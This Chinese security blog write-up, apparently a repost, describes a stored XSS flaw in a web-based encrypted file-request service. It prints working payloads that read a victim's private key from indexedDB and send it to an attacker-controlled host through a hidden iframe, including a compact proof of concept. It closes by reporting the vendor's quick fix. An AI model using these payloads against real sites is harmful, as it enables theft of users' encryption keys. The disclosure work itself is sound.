背景
不久前,发布于荷兰某科技网站的一篇文章展示了一种新发布的在线服务,其声称利用该服务可通过Web方式实现用户端到端的文件请求传输。
和以前一样,因为我对这种安全加密实现非常感兴趣,所以看到这篇文章我就有种测试冲动了。文章声称这种通过web方式的文件请求是安全的,果真如此吗?该加密服务网站只介绍了几种使用RSA和AES私钥的本地端到端加密方法,并未深入对其具体的加密实现作出介绍,而且,其应用也不是开源的,所以难得从代码审计或白皮书说明去入手。
虽然该加密服务网站声称它们提供的服务绝对安全可靠,但我觉得任何人都会犯错,所以我决定深入测试分析一下。
在名称处发现存储型XSS漏洞
注册了账号之后,我就开始测试,不一会我就发现在账户名称和公司名称字段区域存在存储型XSS漏洞。该加密服务允许用户创建一个文件请求,该请求会生成一个链接,可以把该链接通过邮件形式发送给其它服务用户。收件用户收到该链接邮件后,打开邮件就能看到一个页面,在该页面中可以进行文件上传操作。用户创建的文件请求包含了用户在客户端用于文件加密的公钥信息。
这里的问题是,在这个文件请求生成的链接页面中,其用户名或公司名字段未经过滤处理,可以实现XSS Payload触发,如果在其中加入XSS Payload-<script>alert(‘Hi there!’);</script>,把相应文件请求链接发给其他用户后,当链接被打开会被执行XSS,如下:
也就是说,我们能在目标用户的系统中执行任意代码,干一些坏事,但如何来深入利用它呢?
获取目标用户本地私钥信息
该加密服务使用客户端非对称加密来保护用户文件,由于加密服务是通过网站的形式来部署的,所以其加密机制应该是通过JavaScript来调用实现的,也就是说,可以通过JavaScript来获取到本地的私钥信息。经分析发现,该加密服务把用户生成的私钥信息存储在本地的indexedDB数据库中,且不可通过网络发送。
用户私钥在此是保护用户加密文件的重要信息了,有了私钥才能解密使用其配对密钥加密的文件,必须好好保护私钥且不能分享给其他人。
你可能已经猜到了,我们可以在上述存在存储型XSS漏洞的名字字段内,通过变化Payload来获取用户私钥。我写了获取本地存储信息的代码,并层层筛选测试,最终有了以下获取本地用户私钥的代码:
var dbReq = indexedDB.open("companyname"); dbReq.onsuccess = () => { var store = dbReq.result.transaction(["keys"]).objectStore("keys").get("52_private_key"); store.onsuccess = () => alert(store.result.pem); };
把这段代码嵌入名字字段,然后生成文件请求链接,打开该链接就能反弹显示用户的私钥信息:
从攻击者端收集受害者私钥信息
这样弹出用户私钥信息的方式可不好,我们得把它发送到我们控制的远程服务器上才行,是吧。为此,我尝试用POST方式把私钥信息发送到我控制的远程服务器上去。我遇到了第一个问题,上述存在XSS漏洞的名字区域最多只允许输入255个字符,但 JavaScript 的请求又非常冗长,所以需要尽量把代码简化。
但很快,我发现在服务应用中存在 jQuery,它允许发出非常简单和简短的Ajax请求,太好了。但最终却因为CORS的限制,我没能成功。
有人可能会说是因为我的远程服务器上没配置正确,但我确实把Access-Control-Allow-Origin设置成了*,还是不行,所以我只能估计是服务端CORS头配置的限制了。
但对于非Ajax请求来说,我发现在GET请求中,如果把数据放到URL后就是一种很好的传输方式,为此我选择了iframes方式的链接嵌入。把数据放到URL之后,如//example.com/?k=DATA,然后在请求生成的链接页面中隐蔽添加了一个iframes。受害者浏览器会加载该iframes框架,把数据回传给我,如:
$('body').append( '<iframe src="//example.com/?k=' + btoa(JSON.stringify(secret_data)) + '" />' );
用window.location.href方法让受害用户执行重定向跳转到攻击者页面,也是可行的,但这难免会引起怀疑。
就这样,我们就能远程收集获取到目标用户的私钥信息了!
Proof of Concept
经过测试,我把上述代码压缩,并填入我的远程服务器短域名,刚好是250个字符,低于255个最大字符的限制。完美!
<script>setTimeout(()=>indexedDB.open("companyname").onsuccess=(a)=>a.target.result.transaction(["keys"]). objectStore("keys").getAll().onsuccess=(b)=>$('body').append('<iframe src="//example.org?k='+btoa (JSON.stringify(b.target.result))+'">'),1);</script>
参考以下POC视频:
https://uploads.timvisee.com/p/stealing-private-keys-from-secure-file-sharing-service-poc-video.webm
在我的远程服务器端,我用了一个简单的PHP脚本来收集上述传输回来的附加在URL后的目标用户数据,进行解析提取,会形成一个keys.txt文件进行存储。
总结
测试有效后,我及时联系了厂商,他们在15分钟就给了回复,经过一番讨论之后,他们在一个小时之内就及时修复了该漏洞。所以,我的经验是,别单单根据网站或厂商的说明去相信一项服务的安全性,安全的前提须基于以下因素:
运行有一段时间;
是开源的;
经过现实应用的考验;
经过多方参与的安全审计;
只有经过深入的研究和审查才能声称是安全的;
或者由其它可信安全的第三方托管运行。
相关文章教程推荐:web服务器安全教程
以上是通过存储型XSS漏洞获取目标用户本地私钥信息的详细内容。更多信息请关注PHP中文网其他相关文章!